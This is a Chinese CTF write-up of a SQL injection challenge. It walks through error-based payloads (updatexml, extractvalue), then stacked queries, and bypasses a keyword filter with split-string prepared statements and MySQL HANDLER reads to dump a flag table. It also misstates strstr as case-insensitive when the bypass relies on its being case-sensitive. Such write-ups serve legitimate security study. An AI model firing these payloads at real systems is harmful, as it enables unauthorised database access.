首先查看源代码
没有什么可以利用的东西
题目所是注入的题,所以使用单引号尝试是否报错
因为出现了报错,所以可以直接尝试使用报错注入
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
发现提示下图,关键字被过滤
换一个报错注入函数
1' and (extractvalue(1,concat(0x7e,user(),0x7e)));--+
1' and (extractvalue(1,concat(0x7e,database(),0x7e)));--+
因为select,where被过滤,所以无法使用报错注入进行接下来的操作
另外盲注,bool注入也会变得很困难,陷入沉思。。。。。。
查看我的葵花宝典
发现堆叠查询注入还没有祭出
1';show databases;--+
1';show tables;--+
不知道flag在那个数据库中的,我们可以使用desc来确认
1';desc `1919810931114514`;--+
1';desc `words`;--+
接下来该执行如下语句,但是select关键字被过滤
select * from `1919810931114514`;
这里开始我就不会做了,于是参考了别人的wp
这里需要绕过select的限制,我们可以使用预编译的方式
预编译相关语法如下:
set用于设置变量名和值 prepare用于预备一个语句,并赋予名称,以后可以引用该语句 execute执行语句 deallocate prepare用来释放掉预处理的语句
payload:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
格式化一下
-1'; set @sql = CONCAT('se','lect * from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt; #
语句执行后,发现被strstr函数过滤set和prepare关键字,可以尝试使用双写绕过,或者大小写绕过
strstr($inject, "set") && strstr($inject, "prepare")
strstr这个函数并不能区分大小写,我们将其大写即可
payload:
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;# 拆分开来如下: -1'; Set @sql = CONCAT('se','lect * from `1919810931114514`;'); Prepare stmt from @sql; EXECUTE stmt; #
另外还可以使用handler,代替select关键字
hanlder语法
HANDLER tbl_name OPEN [ [AS] alias] HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE
handler `1919810931114514` open; handler `1919810931114514` read first;
payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;--+